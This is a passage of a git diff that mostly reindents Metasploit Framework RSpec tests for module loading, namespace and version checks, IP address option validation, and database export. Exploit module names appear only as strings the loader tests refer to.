@current_namespace_module + + subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) + + parent_module.const_defined?(relative_name).should be_true + restored_module = parent_module.const_get(relative_name) + restored_module.should == current_module + restored_module.should == @current_namespace_module + end + + it 'should not remove the constant and then set it' do + parent_module.should_not_receive(:remove_const).with(relative_name) + parent_module.should_not_receive(:const_set).with(relative_name, @current_namespace_module) + + subject.send(:restore_namespace_module, parent_module, relative_name, @current_namespace_module) + end + end + + context 'without the current constant being the namespace_module' do + it 'should remove relative_name from parent_module' do + parent_module.const_defined?(relative_name).should be_true + parent_module.should_receive(:remove_const).with(relative_name) + + subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + end + + it 'should restore the module to the constant' do + parent_module.const_get(relative_name).should_not == @original_namespace_module + + subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + + parent_module.const_get(relative_name).should == @original_namespace_module + end + end + end + + context 'without relative_name being a defined constant' do + it 'should set relative_name on parent_module to namespace_module' do + parent_module.const_defined?(relative_name).should be_false + + subject.send(:restore_namespace_module, parent_module, relative_name, @original_namespace_module) + + parent_module.const_defined?(relative_name).should be_true + parent_module.const_get(relative_name).should == @original_namespace_module + end + end + end + end + + context '#typed_path' do it 'should delegate to the class method' do - type = Msf::MODULE_EXPLOIT + type = Msf::MODULE_EXPLOIT - described_class.should_receive(:typed_path).with(type, module_reference_name) - subject.send(:typed_path, type, module_reference_name) + described_class.should_receive(:typed_path).with(type, module_reference_name) + subject.send(:typed_path, type, module_reference_name) end - end + end - context '#usable?' do - context 'without metasploit_class responding to is_usable' do - it 'should return true' do - metasploit_class = double('Metasploit Class') - metasploit_class.should_not respond_to(:is_usable) + context '#usable?' do + context 'without metasploit_class responding to is_usable' do + it 'should return true' do + metasploit_class = double('Metasploit Class') + metasploit_class.should_not respond_to(:is_usable) - subject.send(:usable?, metasploit_class).should be_true - end - end + subject.send(:usable?, metasploit_class).should be_true + end + end - context 'with metasploit_class responding to is_usable' do - it 'should delegate to metasploit_class.is_usable' do - # not a proper return, but guarantees that delegation is actually happening - usability = 'maybe' - metasploit_class = double('Metasploit Class', :is_usable => usability) + context 'with metasploit_class responding to is_usable' do + it 'should delegate to metasploit_class.is_usable' do + # not a proper return, but guarantees that delegation is actually happening + usability = 'maybe' + metasploit_class = double('Metasploit Class', :is_usable => usability) - subject.send(:usable?, metasploit_class).should == usability - end + subject.send(:usable?, metasploit_class).should == usability + end - context 'with error from metasploit_class.is_usable' do - let(:error) do - 'Expected error' - end + context 'with error from metasploit_class.is_usable' do + let(:error) do + 'Expected error' + end - let(:metasploit_class) do - metasploit_class = double('Metasploit Class') + let(:metasploit_class) do + metasploit_class = double('Metasploit Class') - metasploit_class.stub(:is_usable).and_raise(error) + metasploit_class.stub(:is_usable).and_raise(error) - metasploit_class - end + metasploit_class + end - it 'should log error' do - subject.should_receive(:elog).with(/#{error}/) + it 'should log error' do + subject.should_receive(:elog).with(/#{error}/) - subject.send(:usable?, metasploit_class) - end + subject.send(:usable?, metasploit_class) + end - it 'should return false' do - subject.send(:usable?, metasploit_class).should be_false - end - end - end - end - end + it 'should return false' do + subject.send(:usable?, metasploit_class).should be_false + end + end + end + end + end end diff --git a/spec/lib/msf/core/modules/loader/directory_spec.rb b/spec/lib/msf/core/modules/loader/directory_spec.rb index eb967951ac40..bb2762782aac 100644 --- a/spec/lib/msf/core/modules/loader/directory_spec.rb +++ b/spec/lib/msf/core/modules/loader/directory_spec.rb @@ -6,159 +6,159 @@ require 'msf/core' describe Msf::Modules::Loader::Directory do - context 'instance methods' do - include_context 'Msf::Modules::Loader::Base' - - let(:module_manager) do - double('Module Manager') - end - - let(:module_path) do - "#{parent_path}/exploits/#{module_reference_name}.rb" - end - - let(:type) do - 'exploit' - end - - subject do - described_class.new(module_manager) - end - - context '#load_module' do - context 'with existent module_path' do - let(:framework) do - framework = double('Msf::Framework', :datastore => {}) - - events = double('Events') - events.stub(:on_module_load) - events.stub(:on_module_created) - framework.stub(:events => events) - - framework - end - - let(:module_full_name) do - "#{type}/#{module_reference_name}" - end - - let(:module_manager) do - Msf::ModuleManager.new(framework) - end - - let(:module_reference_name) do - 'windows/smb/ms08_067_netapi' - end - - it 'should load a module that can be created' do - subject.load_module(parent_path, type, module_reference_name).should be_true - - created_module = module_manager.create(module_full_name) - - created_module.name.should == 'Microsoft Server Service Relative Path Stack Corruption' - end - - context 'with module previously loaded' do - before(:each) do - subject.load_module(parent_path, type, module_reference_name) - end - - # Payloads are defined as ruby Modules so they can behave differently - context 'with payload' do - let(:reference_name) do - 'stages/windows/x64/vncinject' - end - - let(:type) do - 'payload' - end - - it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - - # Non-payloads are defined as ruby Classes - context 'without payload' do - let(:reference_name) do - 'windows/smb/ms08_067_netapi' - end - - let(:type) do - 'exploit' - end - - it 'should not load the module' do - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - end - end - - context 'without existent module_path' do - let(:module_reference_name) do - 'osx/armle/safari_libtiff' - end - - let(:error) do - Errno::ENOENT.new(module_path) - end - - before(:each) do - module_manager.stub(:file_changed? => true) - module_manager.stub(:module_load_error_by_path => {}) - end - - it 'should not raise an error' do - File.exist?(module_path).should be_false - - expect { - subject.load_module(parent_path, type, module_reference_name) - }.to_not raise_error - end - - it 'should return false' do - File.exist?(module_path).should be_false - - subject.load_module(parent_path, type, module_reference_name).should be_false - end - end - end - - context '#read_module_content' do - context 'with non-existent module_path' do - let(:module_reference_name) do - 'osx/armle/safari_libtiff' - end - - before(:each) do - subject.stub(:load_error).with(module_path, kind_of(Errno::ENOENT)) - end - - # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test - it 'should attempt to open the expected module_path' do - File.should_receive(:open).with(module_path, 'rb') - File.exist?(module_path).should be_false - - subject.send(:read_module_content, parent_path, type, module_reference_name) - end - - it 'should not raise an error' do - expect { - subject.send(:read_module_content, parent_path, type, module_reference_name) - }.to_not raise_error - end - - it 'should return an empty string' do - subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' - end - - it 'should record the load error' do - subject.should_receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) - - subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' - end - end - end - end + context 'instance methods' do + include_context 'Msf::Modules::Loader::Base' + + let(:module_manager) do + double('Module Manager') + end + + let(:module_path) do + "#{parent_path}/exploits/#{module_reference_name}.rb" + end + + let(:type) do + 'exploit' + end + + subject do + described_class.new(module_manager) + end + + context '#load_module' do + context 'with existent module_path' do + let(:framework) do + framework = double('Msf::Framework', :datastore => {}) + + events = double('Events') + events.stub(:on_module_load) + events.stub(:on_module_created) + framework.stub(:events => events) + + framework + end + + let(:module_full_name) do + "#{type}/#{module_reference_name}" + end + + let(:module_manager) do + Msf::ModuleManager.new(framework) + end + + let(:module_reference_name) do + 'windows/smb/ms08_067_netapi' + end + + it 'should load a module that can be created' do + subject.load_module(parent_path, type, module_reference_name).should be_true + + created_module = module_manager.create(module_full_name) + + created_module.name.should == 'Microsoft Server Service Relative Path Stack Corruption' + end + + context 'with module previously loaded' do + before(:each) do + subject.load_module(parent_path, type, module_reference_name) + end + + # Payloads are defined as ruby Modules so they can behave differently + context 'with payload' do + let(:reference_name) do + 'stages/windows/x64/vncinject' + end + + let(:type) do + 'payload' + end + + it 'should not load the module' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + + # Non-payloads are defined as ruby Classes + context 'without payload' do + let(:reference_name) do + 'windows/smb/ms08_067_netapi' + end + + let(:type) do + 'exploit' + end + + it 'should not load the module' do + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + end + end + + context 'without existent module_path' do + let(:module_reference_name) do + 'osx/armle/safari_libtiff' + end + + let(:error) do + Errno::ENOENT.new(module_path) + end + + before(:each) do + module_manager.stub(:file_changed? => true) + module_manager.stub(:module_load_error_by_path => {}) + end + + it 'should not raise an error' do + File.exist?(module_path).should be_false + + expect { + subject.load_module(parent_path, type, module_reference_name) + }.to_not raise_error + end + + it 'should return false' do + File.exist?(module_path).should be_false + + subject.load_module(parent_path, type, module_reference_name).should be_false + end + end + end + + context '#read_module_content' do + context 'with non-existent module_path' do + let(:module_reference_name) do + 'osx/armle/safari_libtiff' + end + + before(:each) do + subject.stub(:load_error).with(module_path, kind_of(Errno::ENOENT)) + end + + # this ensures that the File.exist?(module_path) checks are checking the same path as the code under test + it 'should attempt to open the expected module_path' do + File.should_receive(:open).with(module_path, 'rb') + File.exist?(module_path).should be_false + + subject.send(:read_module_content, parent_path, type, module_reference_name) + end + + it 'should not raise an error' do + expect { + subject.send(:read_module_content, parent_path, type, module_reference_name) + }.to_not raise_error + end + + it 'should return an empty string' do + subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' + end + + it 'should record the load error' do + subject.should_receive(:load_error).with(module_path, kind_of(Errno::ENOENT)) + + subject.send(:read_module_content, parent_path, type, module_reference_name).should == '' + end + end + end + end end diff --git a/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb b/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb index 01f1b144096b..f3ebffdcafac 100644 --- a/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/metasploit_class_compatibility_error_spec.rb @@ -4,5 +4,5 @@ require 'msf/core/modules/metasploit_class_compatibility_error' describe Msf::Modules::MetasploitClassCompatibilityError do - it_should_behave_like 'Msf::Modules::Error subclass #initialize' + it_should_behave_like 'Msf::Modules::Error subclass #initialize' end diff --git a/spec/lib/msf/core/modules/namespace_spec.rb b/spec/lib/msf/core/modules/namespace_spec.rb index 96eaf44a86df..d0bd0843c75e 100644 --- a/spec/lib/msf/core/modules/namespace_spec.rb +++ b/spec/lib/msf/core/modules/namespace_spec.rb @@ -5,264 +5,264 @@ require 'msf/core/modules/namespace' describe Msf::Modules::Namespace do - let(:module_path) do - "parent/path/type_directory/#{module_reference_name}.rb" - end + let(:module_path) do + "parent/path/type_directory/#{module_reference_name}.rb" + end - let(:module_reference_name) do - 'module/reference/name' - end + let(:module_reference_name) do + 'module/reference/name' + end - subject do - mod = Module.new - mod.extend described_class + subject do + mod = Module.new + mod.extend described_class - mod - end + mod + end - context 'metasploit_class' do - before(:each) do - if major - subject.const_set("Metasploit#{major}", Class.new) - end - end + context 'metasploit_class' do + before(:each) do + if major + subject.const_set("Metasploit#{major}", Class.new) + end + end + + context 'without Metasploit constant defined' do + let(:major) do + nil + end + + it 'should not be defined' do + metasploit_constants = subject.constants.select { |constant| + constant.to_s =~ /Metasploit/ + } + + metasploit_constants.should be_empty + end + end + + context 'with Metasploit1 constant defined' do + let(:major) do + 1 + end + + it 'should be defined' do + subject.const_defined?('Metasploit1').should be_true + end + + it 'should return the class' do + subject.metasploit_class.should be_a Class + end + end + + context 'with Metasploit2 constant defined' do + let(:major) do + 2 + end + + it 'should be defined' do + subject.const_defined?('Metasploit2').should be_true + end + + it 'should return the class' do + subject.metasploit_class.should be_a Class + end + end + + context 'with Metasploit3 constant defined' do + let(:major) do + 3 + end + + it 'should be defined' do + subject.const_defined?('Metasploit3').should be_true + end + + it 'should return the class' do + subject.metasploit_class.should be_a Class + end + end + + context 'with Metasploit4 constant defined' do + let(:major) do + 4 + end + + it 'should be defined' do + subject.const_defined?('Metasploit4').should be_true + end + + it 'should return the class' do + subject.metasploit_class.should be_a Class + end + end + + context 'with Metasploit5 constant defined' do + let(:major) do + 5 + end + + it 'should be defined' do + subject.const_defined?('Metasploit5').should be_true + end + + it 'should be newer than Msf::Framework::Major' do + major.should > Msf::Framework::Major + end + + it 'should return nil' do + subject.metasploit_class.should be_nil + end + end + end + + context 'metasploit_class!' do + it 'should call metasploit_class' do + subject.should_receive(:metasploit_class).and_return(Class.new) + + subject.metasploit_class!(module_path, module_reference_name) + end + + context 'with metasploit_class' do + let(:metasploit_class) do + Class.new + end - context 'without Metasploit constant defined' do - let(:major) do - nil - end + before(:each) do + subject.stub(:metasploit_class => metasploit_class) + end + + it 'should return the metasploit_class' do + subject.metasploit_class!(module_path, module_reference_name).should == metasploit_class + end + end + + context 'without metasploit_class' do + before(:each) do + subject.stub(:metasploit_class => nil) + end + + it 'should raise a Msf::Modules::MetasploitClassCompatibilityError' do + expect { + subject.metasploit_class!(module_path, module_reference_name) + }.to raise_error(Msf::Modules::MetasploitClassCompatibilityError) + end + + context 'the Msf::Modules::MetasploitClassCompatibilityError' do + it 'should include the module path' do + error = nil + + begin + subject.metasploit_class!(module_path, module_reference_name) + rescue Msf::Modules::MetasploitClassCompatibilityError => error + end + + error.should_not be_nil + error.to_s.should include(module_path) + end + + it 'should include the module reference name' do + error = nil + + begin + subject.metasploit_class!(module_path, module_reference_name) + rescue Msf::Modules::MetasploitClassCompatibilityError => error + end + + error.should_not be_nil + error.to_s.should include(module_reference_name) + end + end + end + end + context 'version_compatible!' do + context 'without RequiredVersions' do it 'should not be defined' do - metasploit_constants = subject.constants.select { |constant| - constant.to_s =~ /Metasploit/ - } - - metasploit_constants.should be_empty - end - end - - context 'with Metasploit1 constant defined' do - let(:major) do - 1 - end - - it 'should be defined' do - subject.const_defined?('Metasploit1').should be_true - end - - it 'should return the class' do - subject.metasploit_class.should be_a Class - end - end - - context 'with Metasploit2 constant defined' do - let(:major) do - 2 - end - - it 'should be defined' do - subject.const_defined?('Metasploit2').should be_true - end - - it 'should return the class' do - subject.metasploit_class.should be_a Class - end - end - - context 'with Metasploit3 constant defined' do - let(:major) do - 3 - end - - it 'should be defined' do - subject.const_defined?('Metasploit3').should be_true - end - - it 'should return the class' do - subject.metasploit_class.should be_a Class - end - end - - context 'with Metasploit4 constant defined' do - let(:major) do - 4 - end - - it 'should be defined' do - subject.const_defined?('Metasploit4').should be_true - end - - it 'should return the class' do - subject.metasploit_class.should be_a Class - end - end - - context 'with Metasploit5 constant defined' do - let(:major) do - 5 - end - - it 'should be defined' do - subject.const_defined?('Metasploit5').should be_true - end - - it 'should be newer than Msf::Framework::Major' do - major.should > Msf::Framework::Major - end - - it 'should return nil' do - subject.metasploit_class.should be_nil - end - end - end - - context 'metasploit_class!' do - it 'should call metasploit_class' do - subject.should_receive(:metasploit_class).and_return(Class.new) - - subject.metasploit_class!(module_path, module_reference_name) - end - - context 'with metasploit_class' do - let(:metasploit_class) do - Class.new - end - - before(:each) do - subject.stub(:metasploit_class => metasploit_class) - end - - it 'should return the metasploit_class' do - subject.metasploit_class!(module_path, module_reference_name).should == metasploit_class - end - end - - context 'without metasploit_class' do - before(:each) do - subject.stub(:metasploit_class => nil) - end - - it 'should raise a Msf::Modules::MetasploitClassCompatibilityError' do - expect { - subject.metasploit_class!(module_path, module_reference_name) - }.to raise_error(Msf::Modules::MetasploitClassCompatibilityError) - end - - context 'the Msf::Modules::MetasploitClassCompatibilityError' do - it 'should include the module path' do - error = nil - - begin - subject.metasploit_class!(module_path, module_reference_name) - rescue Msf::Modules::MetasploitClassCompatibilityError => error - end - - error.should_not be_nil - error.to_s.should include(module_path) - end - - it 'should include the module reference name' do - error = nil - - begin - subject.metasploit_class!(module_path, module_reference_name) - rescue Msf::Modules::MetasploitClassCompatibilityError => error - end - - error.should_not be_nil - error.to_s.should include(module_reference_name) - end - end - end - end - - context 'version_compatible!' do - context 'without RequiredVersions' do - it 'should not be defined' do - subject.const_defined?('RequiredVersions').should be_false - end - - it 'should not raise an error' do - expect { - subject.version_compatible!(module_path, module_reference_name) - }.to_not raise_error - end - end - - context 'with RequiredVersions defined' do - let(:minimum_api_version) do - 1 - end - - let(:minimum_core_version) do - 1 - end - - before(:each) do - subject.const_set( - :RequiredVersions, - [ - minimum_core_version, - minimum_api_version - ] - ) - end - - context 'with minimum Core version' do - it 'should be <= Msf::Framework::VersionCore' do - minimum_core_version.should <= Msf::Framework::VersionCore - end - - context 'without minimum API version' do - let(:minimum_api_version) do - 2 - end - - it 'should be > Msf::Framework::VersionAPI' do - minimum_api_version.should > Msf::Framework::VersionAPI - end - - it_should_behave_like 'Msf::Modules::VersionCompatibilityError' - end - - context 'with minimum API version' do - it 'should not raise an error' do - expect { - subject.version_compatible!(module_path, module_reference_name) - }.to_not raise_error - end - end - end - - context 'without minimum Core version' do - let(:minimum_core_version) do - 5 - end - - it 'should be > Msf::Framework::VersionCore' do - minimum_core_version.should > Msf::Framework::VersionCore - end - - context 'without minimum API version' do - let(:minimum_api_version) do - 2 - end - - it 'should be > Msf::Framework::VersionAPI' do - minimum_api_version.should > Msf::Framework::VersionAPI - end - - it_should_behave_like 'Msf::Modules::VersionCompatibilityError' - end - - context 'with minimum API version' do - it 'should be <= Msf::Framework::VersionAPI' do - minimum_api_version <= Msf::Framework::VersionAPI - end - - it_should_behave_like 'Msf::Modules::VersionCompatibilityError' - end - end - end - end + subject.const_defined?('RequiredVersions').should be_false + end + + it 'should not raise an error' do + expect { + subject.version_compatible!(module_path, module_reference_name) + }.to_not raise_error + end + end + + context 'with RequiredVersions defined' do + let(:minimum_api_version) do + 1 + end + + let(:minimum_core_version) do + 1 + end + + before(:each) do + subject.const_set( + :RequiredVersions, + [ + minimum_core_version, + minimum_api_version + ] + ) + end + + context 'with minimum Core version' do + it 'should be <= Msf::Framework::VersionCore' do + minimum_core_version.should <= Msf::Framework::VersionCore + end + + context 'without minimum API version' do + let(:minimum_api_version) do + 2 + end + + it 'should be > Msf::Framework::VersionAPI' do + minimum_api_version.should > Msf::Framework::VersionAPI + end + + it_should_behave_like 'Msf::Modules::VersionCompatibilityError' + end + + context 'with minimum API version' do + it 'should not raise an error' do + expect { + subject.version_compatible!(module_path, module_reference_name) + }.to_not raise_error + end + end + end + + context 'without minimum Core version' do + let(:minimum_core_version) do + 5 + end + + it 'should be > Msf::Framework::VersionCore' do + minimum_core_version.should > Msf::Framework::VersionCore + end + + context 'without minimum API version' do + let(:minimum_api_version) do + 2 + end + + it 'should be > Msf::Framework::VersionAPI' do + minimum_api_version.should > Msf::Framework::VersionAPI + end + + it_should_behave_like 'Msf::Modules::VersionCompatibilityError' + end + + context 'with minimum API version' do + it 'should be <= Msf::Framework::VersionAPI' do + minimum_api_version <= Msf::Framework::VersionAPI + end + + it_should_behave_like 'Msf::Modules::VersionCompatibilityError' + end + end + end + end end diff --git a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb index 8dc8ca333317..e967e02f2caa 100644 --- a/spec/lib/msf/core/modules/version_compatibility_error_spec.rb +++ b/spec/lib/msf/core/modules/version_compatibility_error_spec.rb @@ -2,62 +2,62 @@ require 'spec_helper' describe Msf::Modules::VersionCompatibilityError do - it_should_behave_like 'Msf::Modules::Error subclass #initialize' do - let(:minimum_api_version) do - 1 - end - - let(:minimum_core_version) do - 2 - end - - it 'should say cause was version check' do - subject.to_s.should match(/due to version check/) - end - - context 'with :minimum_api_version' do - subject do - described_class.new( - :minimum_api_version => minimum_api_version - ) - end - - it 'should set minimum_api_version' do - subject.minimum_api_version.should == minimum_api_version - end - - it 'should include minimum_api_version in error' do - subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version}\)/) - end - end - - context 'with :minimum_api_version and :minimum_core_version' do - subject do - described_class.new( - :minimum_api_version => minimum_api_version, - :minimum_core_version => minimum_core_version - ) - end - - it 'should include minimum_api_version and minimum_core_version in error' do - subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version} and Core >= #{minimum_core_version}\)/) - end - end - - context 'with :minimum_core_version' do - subject do - described_class.new( - :minimum_core_version => minimum_core_version - ) - end - - it 'should set minimum_core_version' do - subject.minimum_core_version.should == minimum_core_version - end - - it 'should include minimum_core_version in error' do - subject.to_s.should match(/due to version check \(requires Core >= #{minimum_core_version}\)/) - end - end - end + it_should_behave_like 'Msf::Modules::Error subclass #initialize' do + let(:minimum_api_version) do + 1 + end + + let(:minimum_core_version) do + 2 + end + + it 'should say cause was version check' do + subject.to_s.should match(/due to version check/) + end + + context 'with :minimum_api_version' do + subject do + described_class.new( + :minimum_api_version => minimum_api_version + ) + end + + it 'should set minimum_api_version' do + subject.minimum_api_version.should == minimum_api_version + end + + it 'should include minimum_api_version in error' do + subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version}\)/) + end + end + + context 'with :minimum_api_version and :minimum_core_version' do + subject do + described_class.new( + :minimum_api_version => minimum_api_version, + :minimum_core_version => minimum_core_version + ) + end + + it 'should include minimum_api_version and minimum_core_version in error' do + subject.to_s.should match(/due to version check \(requires API >= #{minimum_api_version} and Core >= #{minimum_core_version}\)/) + end + end + + context 'with :minimum_core_version' do + subject do + described_class.new( + :minimum_core_version => minimum_core_version + ) + end + + it 'should set minimum_core_version' do + subject.minimum_core_version.should == minimum_core_version + end + + it 'should include minimum_core_version in error' do + subject.to_s.should match(/due to version check \(requires Core >= #{minimum_core_version}\)/) + end + end + end end diff --git a/spec/lib/msf/core/options/opt_address_range_spec.rb b/spec/lib/msf/core/options/opt_address_range_spec.rb index 721dfa0630dd..c2e10dc64229 100644 --- a/spec/lib/msf/core/options/opt_address_range_spec.rb +++ b/spec/lib/msf/core/options/opt_address_range_spec.rb @@ -4,41 +4,41 @@ require 'msf/core/option_container' describe Msf::OptAddressRange do - # Normalized values are just the original value for OptAddressRange - valid_values = [ - { :value => "192.0.2.0/24", :normalized => "192.0.2.0/24" }, - { :value => "192.0.2.0-255", :normalized => "192.0.2.0-255" }, - { :value => "192.0.2.0,1-255", :normalized => "192.0.2.0,1-255" }, - { :value => "192.0.2.*", :normalized => "192.0.2.*" }, - { :value => "192.0.2.0-192.0.2.255", :normalized => "192.0.2.0-192.0.2.255" }, + # Normalized values are just the original value for OptAddressRange + valid_values = [ + { :value => "192.0.2.0/24", :normalized => "192.0.2.0/24" }, + { :value => "192.0.2.0-255", :normalized => "192.0.2.0-255" }, + { :value => "192.0.2.0,1-255", :normalized => "192.0.2.0,1-255" }, + { :value => "192.0.2.*", :normalized => "192.0.2.*" }, + { :value => "192.0.2.0-192.0.2.255", :normalized => "192.0.2.0-192.0.2.255" }, { :value => "file:#{File.expand_path('short_address_list.txt',FILE_FIXTURES_PATH)}", :normalized => '192.168.1.1 192.168.1.2 192.168.1.3 192.168.1.4 192.168.1.5'}, - ] - invalid_values = [ - # Too many dots - { :value => "192.0.2.0.0" }, - { :value => "192.0.2.0.0,1" }, - { :value => "192.0.2.0.0,1-2" }, - { :value => "192.0.2.0.0/24" }, - # Not enough dots - { :value => "192.0.2" }, - { :value => "192.0.2,1" }, - { :value => "192.0.2,1-2" }, - { :value => "192.0.2/24" }, - # Can't mix ranges and CIDR - { :value => "192.0.2.0,1/24" }, - { :value => "192.0.2.0-1/24" }, - { :value => "192.0.2.0,1-2/24" }, - { :value => "192.0.2.0/1-24" }, - { :value => "192.0.2.0-192.0.2.1-255" }, + ] + invalid_values = [ + # Too many dots + { :value => "192.0.2.0.0" }, + { :value => "192.0.2.0.0,1" }, + { :value => "192.0.2.0.0,1-2" }, + { :value => "192.0.2.0.0/24" }, + # Not enough dots + { :value => "192.0.2" }, + { :value => "192.0.2,1" }, + { :value => "192.0.2,1-2" }, + { :value => "192.0.2/24" }, + # Can't mix ranges and CIDR + { :value => "192.0.2.0,1/24" }, + { :value => "192.0.2.0-1/24" }, + { :value => "192.0.2.0,1-2/24" }, + { :value => "192.0.2.0/1-24" }, + { :value => "192.0.2.0-192.0.2.1-255" }, # Non-string values { :value => true}, { :value => 5 }, { :value => []}, { :value => [1,2]}, { :value => {}}, - ] + ] - it_behaves_like "an option", valid_values, invalid_values, 'addressrange' + it_behaves_like "an option", valid_values, invalid_values, 'addressrange' let(:required_opt) { Msf::OptAddressRange.new('RHOSTS', [true, 'The target addresses', '']) } diff --git a/spec/lib/msf/core/options/opt_address_spec.rb b/spec/lib/msf/core/options/opt_address_spec.rb index b14d385990d4..82bdf64d28e8 100644 --- a/spec/lib/msf/core/options/opt_address_spec.rb +++ b/spec/lib/msf/core/options/opt_address_spec.rb @@ -4,15 +4,15 @@ require 'msf/core/option_container' describe Msf::OptAddress do - valid_values = [ - "192.0.2.0", "127.0.0.1", "2001:db8::", "::1" - # Normalized values are just the original value - ].map{|a| { :value => a, :normalized => a } } - - invalid_values = [ - # Too many dots - { :value => "192.0.2.0.0" }, - # Not enough + valid_values = [ + "192.0.2.0", "127.0.0.1", "2001:db8::", "::1" + # Normalized values are just the original value + ].map{|a| { :value => a, :normalized => a } } + + invalid_values = [ + # Too many dots + { :value => "192.0.2.0.0" }, + # Not enough { :value => "192.0.2" }, # Non-string values { :value => true}, @@ -20,9 +20,9 @@ { :value => []}, { :value => [1,2]}, { :value => {}}, - ] + ] - it_behaves_like "an option", valid_values, invalid_values, 'address' + it_behaves_like "an option", valid_values, invalid_values, 'address' diff --git a/spec/lib/msf/db_manager/export_spec.rb b/spec/lib/msf/db_manager/export_spec.rb index 33e1d074661e..4f5de2e92fef 100644 --- a/spec/lib/msf/db_manager/export_spec.rb +++ b/spec/lib/msf/db_manager/export_spec.rb @@ -3,106 +3,106 @@ require 'msf/core/db_export' describe Msf::DBManager::Export do - include_context 'Msf::DBManager' - - subject(:export) do - described_class.new(workspace) - end - - let(:active) do - true - end - - let(:workspace) do - FactoryGirl.create( - :mdm_workspace - ) - end - - context '#extract_module_detail_info' do - let(:report_file) do - StringIO.new - end - - subject(:extract_module_detail_info) do - export.extract_module_detail_info(report_file) - end - - context 'with Mdm::Module::Details' do - let(:document) do - Nokogiri::XML(report_file.string) - end - - let(:module_detail_count) do - 2 - end - - let(:root) do - document.root - end - - let!(:module_details) do - FactoryGirl.create_list( - :mdm_module_detail, - module_detail_count - ) - end - - before(:each) do - report_file.write("") - extract_module_detail_info - report_file.write("") - end - - it 'should have module_detail tag for each Mdm::Module::Detail' do - nodes = root.xpath('module_detail') - - nodes.length.should == module_detail_count - end - - context 'module_detail' do - let(:module_detail) do - module_details.first - end - - subject(:module_detail_node) do - root.at_xpath('module_detail') - end - - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'description' - - context '/disclosure-date' do - it 'should have Mdm::Module::Detail#disclosure_date present' do - module_detail.disclosure_date.should be_present - end - - it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do - node = module_detail_node.at_xpath('disclosure-date') - - Date.parse(node.content).should == module_detail.disclosure_date - end - end - - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'file' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'fullname' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'license' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtime' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtype' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'name' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'privileged' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'rank' - it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'refname' - - # @todo https://www.pivotaltracker.com/story/show/48451001 - end - end - - context 'without Mdm::Module::Details' do - it 'should not write anything to report_file' do - extract_module_detail_info - - report_file.string.should be_empty - end - end - end + include_context 'Msf::DBManager' + + subject(:export) do + described_class.new(workspace) + end + + let(:active) do + true + end + + let(:workspace) do + FactoryGirl.create( + :mdm_workspace + ) + end + + context '#extract_module_detail_info' do + let(:report_file) do + StringIO.new + end + + subject(:extract_module_detail_info) do + export.extract_module_detail_info(report_file) + end + + context 'with Mdm::Module::Details' do + let(:document) do + Nokogiri::XML(report_file.string) + end + + let(:module_detail_count) do + 2 + end + + let(:root) do + document.root + end + + let!(:module_details) do + FactoryGirl.create_list( + :mdm_module_detail, + module_detail_count + ) + end + + before(:each) do + report_file.write("") + extract_module_detail_info + report_file.write("") + end + + it 'should have module_detail tag for each Mdm::Module::Detail' do + nodes = root.xpath('module_detail') + + nodes.length.should == module_detail_count + end + + context 'module_detail' do + let(:module_detail) do + module_details.first + end + + subject(:module_detail_node) do + root.at_xpath('module_detail') + end + + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'description' + + context '/disclosure-date' do + it 'should have Mdm::Module::Detail#disclosure_date present' do + module_detail.disclosure_date.should be_present + end + + it 'should have Mdm::Module::Detail#disclosure_date from disclosure-date content' do + node = module_detail_node.at_xpath('disclosure-date') + + Date.parse(node.content).should == module_detail.disclosure_date + end + end + + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'file' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'fullname' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'license' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtime' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'mtype' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'name' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'privileged' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'rank' + it_should_behave_like 'Msf::DBManager::Export#extract_module_detail_info module_detail child', 'refname' + + # @todo https://www.pivotaltracker.com/story/show/48451001 + end + end + + context 'without Mdm::Module::Details' do + it 'should not write anything to report_file' do + extract_module_detail_info + + report_file.string.should be_empty + end + end + end end \ No newline at end of file diff --git a/spec/lib/msf/db_manager_spec.rb b/spec/lib/msf/db_manager_spec.rb index 7bb3d98f8a50..76f215b8dffa 100644 --- a/spec/lib/msf/db_manager_spec.rb +++ 